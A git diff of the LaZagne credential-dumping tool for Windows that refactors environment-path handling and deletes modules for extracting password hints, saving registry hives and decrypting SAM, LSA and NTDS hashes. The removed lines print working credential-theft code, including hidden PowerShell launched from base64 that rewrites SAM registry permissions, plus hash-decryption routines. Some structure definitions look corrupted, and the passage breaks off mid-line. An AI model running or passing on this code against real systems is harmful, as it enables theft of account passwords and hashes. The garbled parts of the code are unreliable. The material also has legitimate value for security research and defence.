lazagne.config.moduleInfo import ModuleInfo from lazagne.config.write_output import print_debug -import base64 +from lazagne.config.powershell_execute import powershell_execute import libkeepass -import re class Keepass(ModuleInfo): def __init__(self): @@ -94,38 +91,8 @@ def launch_keeThief(self): } } ''' - script = re.sub("Write-Verbose ","Write-Output ", script, flags=re.I) - script = re.sub("Write-Error ","Write-Output ", script, flags=re.I) - script = re.sub("Write-Warning ","Write-Output ", script, flags=re.I) - - fullargs=["powershell.exe", "-C", "-"] - - info = subprocess.STARTUPINFO() - info.dwFlags = sub.STARTF_USESHOWWINDOW | sub.CREATE_NEW_PROCESS_GROUP - info.wShowWindow = sub.SW_HIDE - p = subprocess.Popen(fullargs, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True, shell=True) - - p.stdin.write("$base64=\"\""+"\n") - n = 25000 - b64_script = base64.b64encode(script) - tab = [b64_script[i:i+n] for i in range(0, len(b64_script), n)] - for t in tab: - p.stdin.write("$base64+=\"%s\"\n" % t) - p.stdin.flush() - - p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") - p.stdin.write("Invoke-Expression $d\n") - - p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % function) - p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") - p.stdin.write("Write-Host $b\n") - - # Get the result in base64 - output = "" - for i in p.stdout.readline(): - output += i - output = base64.b64decode(output) - return output + + return powershell_execute(script, function) def run(self, software_name = None): values = {} @@ -152,7 +119,6 @@ def run(self, software_name = None): return if values: - print values pwdFound = [values] try: with libkeepass.open(values['Database'], password=values['Password'], keyfile=values['KeyFilePath']) as kdb: diff --git a/Windows/lazagne/softwares/svn/tortoise.py b/Windows/lazagne/softwares/svn/tortoise.py index 14ad98c8..402fea4c 100755 --- a/Windows/lazagne/softwares/svn/tortoise.py +++ b/Windows/lazagne/softwares/svn/tortoise.py @@ -11,15 +11,10 @@ def __init__(self): # main function def run(self, software_name = None): - file_path = '' - if 'APPDATA' in os.environ: - file_path = os.environ.get('APPDATA') + '\\Subversion\\auth\\svn.simple' - else: - print_debug('ERROR', 'The APPDATA environment variable is not definded.') - return - values = {} pwdFound = [] + + file_path = constant.profile["APPDATA"] + '\\Subversion\\auth\\svn.simple' if os.path.exists(file_path): for root, dirs, files in os.walk(file_path + os.sep): for name_file in files: diff --git a/Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py b/Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py index 69495aa4..4db21cd6 100755 --- a/Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py +++ b/Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py @@ -20,7 +20,7 @@ def extract_connections_credentials(self): :return: List of dict in which one dict contains all information for a connection. """ repos_creds = [] - connection_file_location = os.environ.get("USERPROFILE") + "\\.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml" + connection_file_location = constant.profile["USERPROFILE"] + "\\.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml" if os.path.isfile(connection_file_location): try: connections = ET.parse(connection_file_location).getroot() diff --git a/Windows/lazagne/softwares/sysadmin/cyberduck.py b/Windows/lazagne/softwares/sysadmin/cyberduck.py index 8928d6bd..6bb40eeb 100755 --- a/Windows/lazagne/softwares/sysadmin/cyberduck.py +++ b/Windows/lazagne/softwares/sysadmin/cyberduck.py @@ -13,22 +13,18 @@ def __init__(self): # find the user.config file containing passwords def get_path(self): - if 'APPDATA' in os.environ: - directory = os.environ['APPDATA'] + '\Cyberduck' + directory = constant.profile['APPDATA'] + '\Cyberduck' + if os.path.exists(directory): + for dir in os.listdir(directory): + if dir.startswith('Cyberduck'): + for d in os.listdir(directory + os.sep + dir): + path = directory + os.sep + dir + os.sep + d + os.sep + 'user.config' + if os.path.exists(path): + return path - if os.path.exists(directory): - for dir in os.listdir(directory): - if dir.startswith('Cyberduck'): - for d in os.listdir(directory + os.sep + dir): - path = directory + os.sep + dir + os.sep + d + os.sep + 'user.config' - if os.path.exists(path): - return path - - return 'User_profil_not_found' - else: - return 'CYBERDUCK_NOT_EXISTS' + return 'User_profil_not_found' else: - return 'APPDATA_NOT_FOUND' + return 'CYBERDUCK_NOT_EXISTS' # parse the xml file def parse_xml(self, xml_file): @@ -57,8 +53,6 @@ def run(self, software_name = None): print_debug('INFO', 'Cyberduck not installed.') elif path == 'User_profil_not_found': print_debug('INFO', 'User profil has not been found.') - elif path == 'APPDATA_NOT_FOUND': - print_debug('ERROR', 'The APPDATA environment variable is not defined.') else: return self.parse_xml(path) \ No newline at end of file diff --git a/Windows/lazagne/softwares/sysadmin/filezilla.py b/Windows/lazagne/softwares/sysadmin/filezilla.py index 687e9070..260896e4 100755 --- a/Windows/lazagne/softwares/sysadmin/filezilla.py +++ b/Windows/lazagne/softwares/sysadmin/filezilla.py @@ -10,13 +10,7 @@ def __init__(self): ModuleInfo.__init__(self, 'filezilla', 'sysadmin', options, need_to_be_in_env=False) def run(self, software_name = None): - if constant.appdata: - directory = '%s\FileZilla' % constant.appdata - elif 'APPDATA' in os.environ: - directory = os.environ['APPDATA'] + '\FileZilla' - else: - print_debug('ERROR', 'The APPDATA environment variable is not defined.') - return + directory = constant.profile['APPDATA'] + '\FileZilla' interesting_xml_file = [] info_xml_file = [] diff --git a/Windows/lazagne/softwares/sysadmin/ftpnavigator.py b/Windows/lazagne/softwares/sysadmin/ftpnavigator.py index 1052549b..b566804f 100755 --- a/Windows/lazagne/softwares/sysadmin/ftpnavigator.py +++ b/Windows/lazagne/softwares/sysadmin/ftpnavigator.py @@ -1,6 +1,7 @@ import struct, os from lazagne.config.write_output import print_debug from lazagne.config.moduleInfo import ModuleInfo +from lazagne.config.constant import * class FtpNavigator(ModuleInfo): def __init__(self): @@ -42,11 +43,9 @@ def read_file(self, filepath): return pwdFound def run(self, software_name = None): - if 'HOMEDRIVE' in os.environ: - path = os.environ.get('HOMEDRIVE') + os.sep + 'FTP Navigator\\Ftplist.txt' - - if os.path.exists(path): - return self.read_file(path) - else: - print_debug('INFO', 'Paht %s does not exist.\nFTP Navigator not installed or not found.' % path) + path = constant.profile['HOMEDRIVE'] + os.sep + 'FTP Navigator\\Ftplist.txt' + if os.path.exists(path): + return self.read_file(path) + else: + print_debug('INFO', 'FTP Navigator not installed or not found.') diff --git a/Windows/lazagne/softwares/sysadmin/opensshforwindows.py b/Windows/lazagne/softwares/sysadmin/opensshforwindows.py index 3eeedcd4..caf5bd40 100755 --- a/Windows/lazagne/softwares/sysadmin/opensshforwindows.py +++ b/Windows/lazagne/softwares/sysadmin/opensshforwindows.py @@ -11,7 +11,7 @@ class OpenSSHForWindows(ModuleInfo): def __init__(self): options = {'command': '-winssh', 'action': 'store_true', 'dest': 'opensshforwindows', 'help': 'OpenSSH for Windows'} ModuleInfo.__init__(self, 'opensshforwindows', 'sysadmin', options) - self.key_files_location = environ.get("USERPROFILE") + "\\.ssh" + self.key_files_location = constant.profile["USERPROFILE"] + "\\.ssh" def is_private_key_unprotected(self, key_content_encoded, key_algorithm): """ diff --git a/Windows/lazagne/softwares/sysadmin/puttycm.py b/Windows/lazagne/softwares/sysadmin/puttycm.py index 01c22c9b..9bac9bae 100755 --- a/Windows/lazagne/softwares/sysadmin/puttycm.py +++ b/Windows/lazagne/softwares/sysadmin/puttycm.py @@ -8,7 +8,7 @@ class Puttycm(ModuleInfo): def __init__(self): options = {'command': '-p', 'action': 'store_true', 'dest': 'puttycm', 'help': 'puttycm'} - ModuleInfo.__init__(self, 'puttycm', 'sysadmin', options) + ModuleInfo.__init__(self, 'puttycm', 'sysadmin', options, cannot_be_impersonate_using_tokens=True) def run(self, software_name = None): try: diff --git a/Windows/lazagne/softwares/sysadmin/winscp.py b/Windows/lazagne/softwares/sysadmin/winscp.py index a0caff07..a7db2159 100755 --- a/Windows/lazagne/softwares/sysadmin/winscp.py +++ b/Windows/lazagne/softwares/sysadmin/winscp.py @@ -10,7 +10,7 @@ def __init__(self): self.hostname = '' options = {'command': '-scp', 'action': 'store_true', 'dest': 'winscp', 'help': 'winscp'} - ModuleInfo.__init__(self, 'winscp', 'sysadmin', options) + ModuleInfo.__init__(self, 'winscp', 'sysadmin', options, cannot_be_impersonate_using_tokens=True) # ------------------------------ Getters and Setters ------------------------------ def get_hash(self): diff --git a/Windows/lazagne/softwares/wifi/wifi.py b/Windows/lazagne/softwares/wifi/wifi.py index 46966e58..a1259c59 100755 --- a/Windows/lazagne/softwares/wifi/wifi.py +++ b/Windows/lazagne/softwares/wifi/wifi.py @@ -3,13 +3,14 @@ import binascii import tempfile, socket from ctypes import * +from lazagne.config.constant import * from lazagne.config.moduleInfo import ModuleInfo from lazagne.config.write_output import print_debug class Wifi(ModuleInfo): def __init__(self): options = {'command': '-wi', 'action': 'store_true', 'dest': 'wifi', 'help': 'Vista and higher - Need System Privileges'} - ModuleInfo.__init__(self, 'Wifi', 'wifi', options, need_high_privileges=True) + ModuleInfo.__init__(self, 'Wifi', 'wifi', options, need_system_privileges=True) # used when launched with a system account def run(self, software_name = None): @@ -18,9 +19,8 @@ def run(self, software_name = None): print_debug('WARNING', '[!] This script should be run as admin!') return else: - directory = '' - if 'ALLUSERSPROFILE' in os.environ: - directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces' + directory = constant.profile['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces' + # for windows Vista or higher if os.path.exists(directory): passwordFound = False diff --git a/Windows/lazagne/softwares/windows/dot_net.py b/Windows/lazagne/softwares/windows/dot_net.py index 69864b1d..2f7cfce4 100755 --- a/Windows/lazagne/softwares/windows/dot_net.py +++ b/Windows/lazagne/softwares/windows/dot_net.py @@ -20,7 +20,7 @@ class DATA_BLOB(Structure): class Dot_net(ModuleInfo): def __init__(self): options = {'command': '-d', 'action': 'store_true', 'dest': 'dotnet', 'help': 'domain visible network (.Net Passport) Passwords'} - ModuleInfo.__init__(self, 'Dot Net', 'windows', options) + ModuleInfo.__init__(self, 'Dot Net', 'windows', options, cannot_be_impersonate_using_tokens=True) def getData(self, blobOut): cbData = int(blobOut.cbData) diff --git a/Windows/lazagne/softwares/windows/network.py b/Windows/lazagne/softwares/windows/network.py index 3c989612..72a22e69 100755 --- a/Windows/lazagne/softwares/windows/network.py +++ b/Windows/lazagne/softwares/windows/network.py @@ -19,7 +19,7 @@ class DATA_BLOB(Structure): class Network(ModuleInfo): def __init__(self): options = {'command': '-n', 'action': 'store_true', 'dest': 'network', 'help': 'generic network credentials'} - ModuleInfo.__init__(self, 'Generic Network', 'windows', options) + ModuleInfo.__init__(self, 'Generic Network', 'windows', options, cannot_be_impersonate_using_tokens=True) def getData(self, blobOut): cbData = int(blobOut.cbData) diff --git a/Windows/lazagne/softwares/windows/passwords_hints.py b/Windows/lazagne/softwares/windows/passwords_hints.py deleted file mode 100755 index cf52c8f2..00000000 --- a/Windows/lazagne/softwares/windows/passwords_hints.py +++ /dev/null @@ -1,109 +0,0 @@ -# Thanks to Ninshang for his script -# https://github.com/samratashok/nishang/ - -import _subprocess as sub -import subprocess -from lazagne.config.moduleInfo import ModuleInfo -from lazagne.config.write_output import print_debug -import base64 -import re - -class PasswordsHint(ModuleInfo): - def __init__(self): - options = {'command': '-p', 'action': 'store_true', 'dest': 'password_hint', 'help': 'retrieve password hint stored on registry'} - ModuleInfo.__init__(self, 'password_hint', 'windows', options) - - def launch_GetPassHints(self): - # From https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHints.ps1 - function = 'Get-PassHints' - script = ''' - function Get-PassHints { - [CmdletBinding()] - Param () - #Set permissions to allow Access to SAM\SAM\Domains registry hive. - $rule = New-Object System.Security.AccessControl.RegistryAccessRule ( - [System.Security.Principal.WindowsIdentity]::GetCurrent().Name, - "FullControl", - [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit", - [System.Security.AccessControl.PropagationFlags]"None", - [System.Security.AccessControl.AccessControlType]"Allow") - $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey( - "SAM\SAM\Domains", - [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, - [System.Security.AccessControl.RegistryRights]::ChangePermissions) - $acl = $key.GetAccessControl() - $acl.SetAccessRule($rule) - $key.SetAccessControl($acl) - #From powerdump from SET - function Get-UserName([byte[]]$V) - { - if (-not $V) {return $null}; - $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; - $len = [BitConverter]::ToInt32($V[0x10..0x13],0); - return [Text.Encoding]::Unicode.GetString($V, $offset, $len); - } - #Logic for extracting password hint - $users = Get-ChildItem HKLM:\\SAM\\SAM\\Domains\\Account\\Users\\ - $j = 0 - foreach ($key in $users) - { - $value = Get-ItemProperty $key.PSPath - $j++ - foreach ($hint in $value) - { - #Check for users who have passwordhint - if ($hint.UserPasswordHint) - { - $username = Get-UserName($hint.V) - $passhint = ([text.encoding]::Unicode).GetString($hint.UserPasswordHint) - Write-Output "$username`:$passhint" - } - } - } - #Remove the permissions added above. - $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name - $acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null - Set-Acl HKLM:\SAM\SAM\Domains $acl - } - ''' - fullargs=["powershell.exe", "-C", "-"] - - info = subprocess.STARTUPINFO() - info.dwFlags = sub.STARTF_USESHOWWINDOW | sub.CREATE_NEW_PROCESS_GROUP - info.wShowWindow = sub.SW_HIDE - p = subprocess.Popen(fullargs, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True, shell=True) - - p.stdin.write("$base64=\"\""+"\n") - n = 25000 - b64_script = base64.b64encode(script) - tab = [b64_script[i:i+n] for i in range(0, len(b64_script), n)] - for t in tab: - p.stdin.write("$base64+=\"%s\"\n" % t) - p.stdin.flush() - - p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") - p.stdin.write("Invoke-Expression $d\n") - - p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % function) - p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") - p.stdin.write("Write-Host $b\n") - - # Get the result in base64 - output = "" - for i in p.stdout.readline(): - output += i - output = base64.b64decode(output) - return output - - def run(self, software_name = None): - pwdFound = [] - - output = self.launch_GetPassHints() - output = output.replace('\r', '') - - for res in output.split('\n'): - if res: - login, hint = res.split(':', 1) - pwdFound.append({'Login': login, 'Password Hint': hint}) - - return pwdFound \ No newline at end of file diff --git a/Windows/lazagne/softwares/windows/secrets.py b/Windows/lazagne/softwares/windows/secrets.py deleted file mode 100755 index 59359529..00000000 --- a/Windows/lazagne/softwares/windows/secrets.py +++ /dev/null @@ -1,64 +0,0 @@ -import subprocess -import os, sys -from secretsdump import retrieve_hash -from lazagne.config.header import Header -from lazagne.config.write_output import print_debug -from ctypes import * -import logging -from lazagne.config.moduleInfo import ModuleInfo - -class Secrets(ModuleInfo): - def __init__(self): - options = {'command': '-s', 'action': 'store_true', 'dest': 'secrets', 'help': 'Windows secrets (hashes, lsa secrets, etc.)'} - ModuleInfo.__init__(self, 'Windows_secrets', 'windows', options, need_high_privileges=True) - - self.sysFile = ['sam', 'security', 'system'] - self.address = 'LOCAL' - # self.ntds = os.environ['systemroot'] + os.sep + 'ntds' + os.sep + 'ntds.dit' - # if not os.path.exists(self.ntds): - self.ntds = None - self.history = True - - # check if files have been saved - def check_existing_systemFiles(self): - for f in self.sysFile: - if not os.path.exists('%s.save' % f): - return False - return True - - def delete_existing_systemFiles(self): - for f in self.sysFile: - os.remove('%s.save' % f) - - def run(self, software_name = None): - # Need admin privileges - if not windll.Shell32.IsUserAnAdmin(): - if logging.getLogger().isEnabledFor(logging.INFO) == True: - Header().title('Windows Secrets') - print_debug('WARNING', '[!] This script should be run as admin!') - return - - # if hives already exists - if self.check_existing_systemFiles(): - self.delete_existing_systemFiles() # delete it - - # save system hives - for f in self.sysFile: - try: - subprocess.Popen('reg.exe save hklm\%s %s.save' % (f,f) , shell=True, stdout=subprocess.PIPE).stdout.read() - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - print_debug('ERROR', 'Failed to save %s hive' % f) - return - - - if not self.check_existing_systemFiles(): - print_debug('WARNING', 'Remove existing hive files and launch it again.') - return - - retrieve_hash(self.address, '%s.save' % self.sysFile[2], '%s.save' % self.sysFile[1], '%s.save' % self.sysFile[0], self.ntds, self.history) - - # remove hives files - self.delete_existing_systemFiles() - - diff --git a/Windows/lazagne/softwares/windows/secretsdump.py b/Windows/lazagne/softwares/windows/secretsdump.py deleted file mode 100755 index 5a6f5e27..00000000 --- a/Windows/lazagne/softwares/windows/secretsdump.py +++ /dev/null @@ -1,1199 +0,0 @@ -#!/usr/bin/python -# Copyright (c) 2003-2015 CORE Security Technologies -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# $Id$ -# -# Description: Performs various techniques to dump hashes from the -# remote machine without executing any agent there. -# For SAM and LSA Secrets (including cached creds) -# we try to read as much as we can from the registry -# and then we save the hives in the target system (%SYSTEMROOT%\\Temp dir) -# and read the rest of the data from there. -# For NTDS.dit, we have to extract NTDS.dit via vssadmin executed -# with the smbexec approach. It's copied on the temp dir and parsed -# remotely. -# The scripts initiates the services required for its working -# if they are not available (e.g. Remote Registry, even if it is -# disabled). After the work is done, things are restored to the -# original state. -# -# Author: -# Alberto Solino (@agsolino) -# -# References: Most of the work done by these guys. I just put all -# the pieces together, plus some extra magic. -# -# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html -# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html -# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html -# http://www.quarkslab.com/en-blog+read+13 -# https://code.google.com/p/creddump/ -# http://lab.mediaservice.net/code/cachedump.rb -# http://insecurety.net/?p=768 -# http://www.beginningtoseethelight.org/ntsecurity/index.htm -# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf -# http://www.passcape.com/index.php?section=blog&cmd=details&id=15 -# - -from impacket import winregistry, ntlm -from impacket.dcerpc.v5 import samr -from impacket.structure import Structure -from impacket.ese import ESENT_DB - -from struct import unpack, pack -from collections import OrderedDict -import win32con, win32security, win32net -import binascii -from lazagne.config.dico import get_dico -from lazagne.config.write_output import print_debug, print_output -# import logging -from lazagne.config.constant import * -from lazagne.config.header import Header - -import sys -import random -import hashlib -import tempfile -import os -import traceback -import ntpath -import time -import string -from itertools import product - -try: - from Crypto.Cipher import DES, ARC4, AES - from Crypto.Hash import HMAC, MD4 -except Exception: - print "Warning: You don't have any crypto installed. You need PyCrypto" - print "See http://www.pycrypto.org/" - -class FindUSer(): - def __init__(self): - self.domain = '.' # current domain - self.logontype = win32con.LOGON32_LOGON_INTERACTIVE - self.provider = win32con.LOGON32_PROVIDER_WINNT50 - IP = '127.0.0.1' - self.users = win32net.NetGroupGetUsers(IP,'none',0)[0] - - def find_userName(self, password): - for user in self.users: - try: - token = win32security.LogonUser(user['name'], self.domain, password , self.logontype, self.provider) - return user['name'] - except: - pass - return False - -# Structures -# Taken from http://insecurety.net/?p=768 -class SAM_KEY_DATA(Structure): - structure = ( - ('Revision','L',self['SubAuthority'][i*4:i*4+4])[0]) - return ans - -class LSA_SECRET_BLOB(Structure): - structure = ( - ('Length','> 0x01) ) - OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) - OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) - OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) - OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) - OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) - OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) - OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) - - for i in range(8): - OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) - - return "".join(OutputKey) - - def deriveKey(self, baseKey): - # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key - # Let I be the little-endian, unsigned integer. - # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. - # Note that because I is in little-endian byte order, I[0] is the least significant byte. - # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. - # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] - key = pack(' 0: - return data + (data & 0x3) - else: - return data - - def dumpCachedHashes(self): - if self.__securityFile is None: - # No SECURITY file provided - return - - # Let's first see if there are cached entries - values = self.enumValues('\\Cache') - if values == None: - # No cache entries - return - try: - # Remove unnecesary value - values.remove('NL$Control') - except: - pass - - self.__getLSASecretKey() - self.__getNLKMSecret() - - for value in values: - # logging.debug('Looking into %s' % value) - record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) - if record['CH'] != 16 * '\x00': - if self.__vistaStyle is True: - plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) - else: - plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH']) - pass - encHash = plainText[:0x10] - plainText = plainText[0x48:] - userName = plainText[:record['UserLength']].decode('utf-16le') - plainText = plainText[self.__pad(record['UserLength']):] - domain = plainText[:record['DomainNameLength']].decode('utf-16le') - plainText = plainText[self.__pad(record['DomainNameLength']):] - domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le') - answer = "%s:%s:%s:%s:::" % (userName, encHash.encode('hex'), domainLong, domain) - self.__cachedItems.append(answer) - - return __cachedItems - - def __printSecret(self, name, secretItem): - # Based on [MS-LSAD] section 3.1.1.4 - - # First off, let's discard NULL secrets. - if len(secretItem) == 0: - # logging.debug('Discarding secret %s, NULL Data' % name) - return - - # We might have secrets with zero - if secretItem.startswith('\x00\x00'): - # logging.debug('Discarding secret %s, all zeros' % name) - return - - upperName = name.upper() - - values = {} - values['Category'] = name - user = '' - password = '' - - # Service passwords - if upperName.startswith('_SC_'): - values['Category'] = 'Windows Service' - values['Service Name'] = name - try: - strDecoded = secretItem.decode('utf-16le') - except: - pass - else: - # Account the service runs under - user = FindUSer().find_userName(strDecoded) - if not user: - user = '(Unknown User)' - password = strDecoded - - # defaults password for winlogon - elif upperName.startswith('DEFAULTPASSWORD'): - values['Category'] = 'Windows Autologon' - # Let's first try to decode the secret - try: - strDecoded = secretItem.decode('utf-16le') - except: - pass - else: - user = FindUSer().find_userName(strDecoded) - if not user: - user = '(Unknown User)' - password = strDecoded - elif upperName.startswith('ASPNET_WP_PASSWORD'): - try: - strDecoded = secretItem.decode('utf-16le') - except: - pass - else: - user = 'ASPNET' - password = strDecoded - - # compute MD4 of the secret.. yes.. that is the nthash? :-o - elif upperName.startswith('$MACHINE.ACC'): - md4 = MD4.new() - md4.update(secretItem) - user = '$MACHINE.ACC: %s' % ntlm.LMOWFv1('','').encode('hex') - password = md4.digest().encode('hex') - - if user: - values['user'] = user - values['password'] = password - else: - # Default print, hexdump - values['password in hex'] = secretItem.encode('hex') - # hexdump(secretItem) - - self.__secretItems.append(values) - - def dumpSecrets(self): - if self.__securityFile is None: - # No SECURITY file provided - return - - # Let's first see if there are cached entries - keys = self.enumKey('\\Policy\\Secrets') - if keys == None: - # No entries - return - try: - # Remove unnecessary value - keys.remove('NL$Control') - except: - pass - - if self.__LSAKey == '': - self.__getLSASecretKey() - - for key in keys: - # logging.debug('Looking into %s' % key) - value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key) - - if value is not None: - if self.__vistaStyle is True: - record = LSA_SECRET(value[1]) - tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) - plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) - record = LSA_SECRET_BLOB(plainText) - secret = record['Secret'] - else: - secret = self.__decryptSecret(self.__LSAKey, value[1]) - self.__printSecret(key, secret) - return self.__secretItems - -class NTDSHashes(): - NAME_TO_INTERNAL = { - 'uSNCreated':'ATTq131091', - 'uSNChanged':'ATTq131192', - 'name':'ATTm3', - 'objectGUID':'ATTk589826', - 'objectSid':'ATTr589970', - 'userAccountControl':'ATTj589832', - 'primaryGroupID':'ATTj589922', - 'accountExpires':'ATTq589983', - 'logonCount':'ATTj589993', - 'sAMAccountName':'ATTm590045', - 'sAMAccountType':'ATTj590126', - 'lastLogonTimestamp':'ATTq589876', - 'userPrincipalName':'ATTm590480', - 'unicodePwd':'ATTk589914', - 'dBCSPwd':'ATTk589879', - 'ntPwdHistory':'ATTk589918', - 'lmPwdHistory':'ATTk589984', - 'pekList':'ATTk590689', - 'supplementalCredentials':'ATTk589949', - } - - KERBEROS_TYPE = { - 1:'dec-cbc-crc', - 3:'des-cbc-md5', - 17:'aes128-cts-hmac-sha1-96', - 18:'aes256-cts-hmac-sha1-96', - 0xffffff74:'rc4_hmac', - } - - INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems()) - - SAM_NORMAL_USER_ACCOUNT = 0x30000000 - SAM_MACHINE_ACCOUNT = 0x30000001 - SAM_TRUST_ACCOUNT = 0x30000002 - - ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) - - class PEK_KEY(Structure): - structure = ( - ('Header','8s=""'), - ('KeyMaterial','16s=""'), - ('EncryptedPek','52s=""'), - ) - - class CRYPTED_HASH(Structure): - structure = ( - ('Header','8s=""'), - ('KeyMaterial','16s=""'), - ('EncryptedHash','16s=""'), - ) - - class CRYPTED_HISTORY(Structure): - structure = ( - ('Header','8s=""'), - ('KeyMaterial','16s=""'), - ('EncryptedHash',':'), - ) - - class CRYPTED_BLOB(Structure): - structure = ( - ('Header','8s=""'), - ('KeyMaterial','16s=""'), - ('EncryptedHash',':'), - ) - - def __init__(self, ntdsFile, bootKey, isRemote = False, history = False, noLMHash = True): - self.__bootKey = bootKey - self.__NTDS = ntdsFile - self.__history = history - self.__noLMHash = noLMHash - if self.__NTDS is not None: - self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote) - self.__cursor = self.__ESEDB.openTable('datatable') - self.__tmpUsers = list() - self.__PEK = None - self.__cryptoCommon = CryptoCommon() - self.__hashesFound = {} - self.__kerberosKeys = OrderedDict() - - def __getPek(self): - # logging.info('Searching for pekList, be patient') - pek = None - while True: - record = self.__ESEDB.getNextRow(self.__cursor) - if record is None: - break - elif record[self.NAME_TO_INTERNAL['pekList']] is not None: - pek = record[self.NAME_TO_INTERNAL['pekList']].decode('hex') - break - elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: - # Okey.. we found some users, but we're not yet ready to process them. - # Let's just store them in a temp list - self.__tmpUsers.append(record) - - if pek is not None: - encryptedPek = self.PEK_KEY(pek) - md5 = hashlib.new('md5') - md5.update(self.__bootKey) - for i in range(1000): - md5.update(encryptedPek['KeyMaterial']) - tmpKey = md5.digest() - rc4 = ARC4.new(tmpKey) - plainText = rc4.encrypt(encryptedPek['EncryptedPek']) - self.__PEK = plainText[36:] - - def __removeRC4Layer(self, cryptedHash): - md5 = hashlib.new('md5') - md5.update(self.__PEK) - md5.update(cryptedHash['KeyMaterial']) - tmpKey = md5.digest() - rc4 = ARC4.new(tmpKey) - plainText = rc4.encrypt(cryptedHash['EncryptedHash']) - - return plainText - - def __removeDESLayer(self, cryptedHash, rid): - Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid)) - Crypt1 = DES.new(Key1, DES.MODE_ECB) - Crypt2 = DES.new(Key2, DES.MODE_ECB) - decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:]) - return decryptedHash - - def __decryptSupplementalInfo(self, record): - # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures - if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None: - if len(record[self.NAME_TO_INTERNAL['supplementalCredentials']].decode('hex')) > 24: - if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: - domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] - userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) - else: - userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] - cipherText = self.CRYPTED_BLOB(record[self.NAME_TO_INTERNAL['supplementalCredentials']].decode('hex')) - plainText = self.__removeRC4Layer(cipherText) - try: - userProperties = samr.USER_PROPERTIES(plainText) - except: - # On some old w2k3 there might be user properties that don't - # match [MS-SAMR] structure, discarding them - return - propertiesData = userProperties['UserProperties'] - for propertyCount in range(userProperties['PropertyCount']): - userProperty = samr.USER_PROPERTY(propertiesData) - propertiesData = propertiesData[len(userProperty):] - # For now, we will only process Newer Kerberos Keys. - if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': - propertyValueBuffer = userProperty['PropertyValue'].decode('hex') - kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) - data = kerbStoredCredentialNew['Buffer'] - for credential in 